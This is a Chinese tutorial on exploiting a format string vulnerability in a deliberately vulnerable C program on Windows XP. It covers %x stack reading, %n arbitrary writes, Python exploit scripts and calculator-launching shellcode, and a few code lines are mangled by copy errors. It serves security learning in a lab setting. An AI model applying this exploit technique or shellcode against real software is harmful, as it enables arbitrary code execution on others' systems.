在网上找学习格式化字符串漏洞的材料,大多数是 Linux 系统的,分享一下在 Windows 系统上学习格式化字符串漏洞的记录。
环境配置
01
◆操作系统:Windows XP SP1
◆编译器:VC6.0
◆调试器:Immunity Debugger
◆漏洞利用脚本语言:Python 2.7.1
编译测试程序
02
将以下代码通过VC6.0 编译成程序Fstring.exe(release 版)。
#include <stdio.h>
#include <string.h> void parser(char *string)
{
char buff[256];
memset(buff,0,sizeof(buff));
strncpy(buff,string,sizeof(buff)-1);
printf(buff);
}
int main (int argc, char *argv[])
{
parser(argv[1]);
return 0;
}
设置系统默认调试器
03
"C:\Tools\immunitity debugger\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld
如下图所示:
在Auto 的值被设置为 0 的情况下,设置好默认调试器后,程序在因为内存访问异常等问题崩溃时时,系统显示确认消息框,点击该窗口的调试选项(Debug),调试器就可以自动附加程序并定位到出现异常的地址,如下图所示:
在Auto 的值被设置为 1 的情况下,程序崩溃时,没有显示确认消息框的步骤,调试器会直接启动并附加程序。
漏洞原理
05
格式化字符串漏洞产生的主要原因是格式符与参数的数量不匹配,格式符会不受限制地读取栈区的数据。
当格式符与参数的数量匹配时,例如printf("Test String:%x,%d,%d",20,70,40),当参数全部压入栈后,栈区的情况如下所示:
◆%x以十六进制形式输出无符号整数
◆%d以十进制形式输出带符号整数
printf 函数会正常打印输出Test String:14,70,40。
但是当格式符与参数的数量不匹配时,例如printf("Test String:%x,%d,%d,%x",20,70,40),当参数全部压入栈后,栈区的情况如下所示:
printf 函数会打印输出Test String:14,70,40,ffffffff,栈区的数据就被读取了。
以上是利用格式化字符串漏洞读取栈区数据的简单示范。
一般来说,可以通过利用格式化字符串漏洞实现以下目标:读取内存、写入内存、执行任意代码。
接下来以 printf 函数为例对格式化字符串漏洞进行说明。
%x控制符会导致printf函数从堆栈中弹出一个整数并以十六进制格式输出 。
用调试器打Immunity Debugger开文件Fstring.exe,在参数栏输入text-%x。
0x401033是 printf 函数,函数调用之前,栈顶0x12FE74指向的值是字符串text—%x的地址0x0012FE7C。
printf函数执行后text-会正常打印出来,%x 会打印堆栈中栈顶偏移 0x4 (即0x12FE78)的值FFFFFFFF。
输入text-%x%x时,printf函数会一直打印到栈顶偏移位置0x8,即0x12FE7C的值,即74786574(text 的 ASCII 码)。
输入text-%x%10x时,因为有两个%x,printf函数同样会打印到栈顶偏移位置0x8,但由于其中一个是%10x,所以打印时会占用 10 个字符,没有数值的地方用空格填充,即text-ffffffff 74786574。
输入参数AAAABBBBCCCC%x%x%x%x,程序的输出如下所示:
也就是说在调用 printf 函数时,每个格式符%x 都在栈里读取数据,读取的位置也是以 4 个字节往栈区高地址递增。如果不受限制地传入参数%x,那么栈区的数据就会被泄露。
%n控制符的特殊之处在于它不会像其他格式符那样输出内容,而是将当前已经输出的字符数写入指定的内存地址。
printf函数内部维护着一个计数器,用于记录已经打印的字符数量。每次调用 printf 函数时,这个计数器都会被初始化为 0。当printf函数遇到 %n 格式符时,它会将当前计数器的值(即已打印字符数)写入 %n 对应的参数指向的内存地址。
这个指定的内存地址由%n 后面的参数决定,例如下面代码中的变量 count 的地址就是打印的字符数量写入的地址。
int count = 0;
printf("Hello, world!%n", &count); //目前较新的编译器已经禁用了%n
printf("\nCount: %d\n", count); //一些在线编译器或者VC6.0可以做这个小测试
上面代码的输出结果是:
Hello, world!
Count: 13
重新调试程序Fstring.exe,在之前调试的基础上做一点微调,将最后一个格式符%x 换成%n。
AAAABBBBCCCC%x%x%x%n
根据上面的测试经验可知,格式符%n 读取的值应该是43434343,不过43434343不会打印输出,而是作为字符数传入的地址。可是%n 后面没有别的参数了,看看%n 会读取栈上哪个位置的数据作为传入字符数的地址。
看一下调试结果:
程序在0x4018A7遇到了内存访问异常,此时 EAX = 0x43434343,ECX=0x24(十进制的 36)。指令MOV DWORD PTR DS:[EAX],ECX试图将 0x24 赋值给地址 0x43434343。
前面已经提到,%n 是将已经输出的字符数写入指定的内存地址,这条指令就是将字符数 36(3 个%x 共打印 24 个字符,加上 AAAABBBBCCCC 合计 36 个字符)写入地址 0x43434343,也就是说%n 和%x 一样,按照顺序在栈区读取数据,并用作字符数写入的地址。
地址 0x43434343 是一个无效的内存地址,才会遇到访问异常,如果换一个有效的内存地址呢,例如随便在内存窗口选一个值为 0 的地址0x407148,看看结果如何。调试时输入以下参数。
%x%x%x%nHq@ //H、q、@的ASCII(十六进制)分别是0x48、0x71、0x40
调试结果显示,字符数 0x18(十进制的 24,即 3 个%x 打印的字符数)已经被成功写入了地址0x407148。
通过以上调试和测试可知,可以利用格式化字符串漏洞在任意地址写入任意数据。
要完成漏洞利用,执行任意代码,需要在程序执行0x0040187之前:
◆通过调整字符串的长度或者%x来调整打印的字符数,使其等于 shellcode 的起始地址;
◆然后通过%n 将打印的字符数(即 shellcode 的起始地址)写入某个可供利用的地址,例如 shellcode 附近的函数返回地址
接下来说明格式化字符串的漏洞利用细节。
漏洞利用
05
按照下面代码编写 Python 脚本,最好将程序Fstring.exe和脚本放在同一个文件夹中。
from subprocess import calla="A"*80 //需要有足够的填充字符,以便之后替换成payload
b="%x"*44+"%ncc" //%x用于调整打印输出的字符数。%n用于将字符数写入指定地址
c="B" * 4
buf=a+b+c
call(["Fstring.exe",buf])
点击执行脚本,程序启动并发生异常,调试器自动启动并附加程序,和之前一样停留在异常发生的地址0x004018A7。
此时 EAX 的值为0x42424242,之后需要替换成可供跳转到 shellcode 的地址。
按Alt + K查看程序的调用栈:
离 shellcode 起始地址0x0012FE7C较近的地址是0x0012FE50,所以 EAX 的值可以被0x0012FE50覆盖,借助这个地址跳转到 shellcode。
shellcode 的大致组成如下图所示:
前面已经提到,字符串在内存中的起始地址为0x0012FE7C,这也是 shellcode 的起始地址。在执行MOV DWORD PTR DS:[EAX],ECX前,使 ECX 等于0x0012FE7C,需要调整打印的字符串的长度。
0x0012FE7C等于十进制的1244796,之前脚本生成的字符长度是0x1AB,即十进制的427
1244796 - 427 = 1244369。%10x 打印 10 个字符,%1244369x 就可以打印 1244369 个字符。
根据计算结果调整一下脚本:
from subprocess import calla="A"*80
b="%x"*44+"%1244369x"+"%ncc"
c="B" * 4
buf=a+b+c
call(["Fstring.exe",buf])
此时 ECX 正好等于0x0012FE7C,但是 EAX 又发生变化了,不等于末尾的字符串 BBBB (0x42424242)。
继续做一点微调:
from subprocess import calla="A"*80
b="%x"*46+"%1244353x"+"%nc"
c="B" * 4
buf=a+b+c
call(["Fstring.exe",buf])
此时 EAX = 0x42424242, ECX = 0x12FE7C,接下来我们可以继续改造这个脚本,将结尾的 BBBB 替换为0x0012FE50,将开头的部分填充字符 A 替换为弹出计算器的 payload, 完成漏洞利用。以下是改进后的 shellcode 的大致构成:
以下是弹出计算器的 shellcode,共 21 个字节:
calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x35\xFD\xE6\x77" #WinExec的函数地址,可以通过PE工具查看系统的Kernel32.dll获取此地址
"\xFF\xD1\x90\x90")
以下是调整后的脚本:
from subprocess import calla="\x90"*59
b="\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x35\xFD\xE6\x77\xFF\xD1\x90\x90"
c="%x"*46+"%1244353x"+"%nc\x50\xFE\x12"
buf=a+b+c
call(["Fstring.exe",buf])
计算器成功弹出:
参考文章
06
https://learn.microsoft.com/zh-cn/windows/win32/debug/configuring-automatic-debugging
https://bbs.kanxue.com/thread-127511.htm
https://bbs.kanxue.com/thread-213153.htm
https://osandamalith.com/2018/02/01/exploiting-format-strings-in-windows/
看雪ID:ZyOrca
https://bbs.kanxue.com/user-home-944427.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多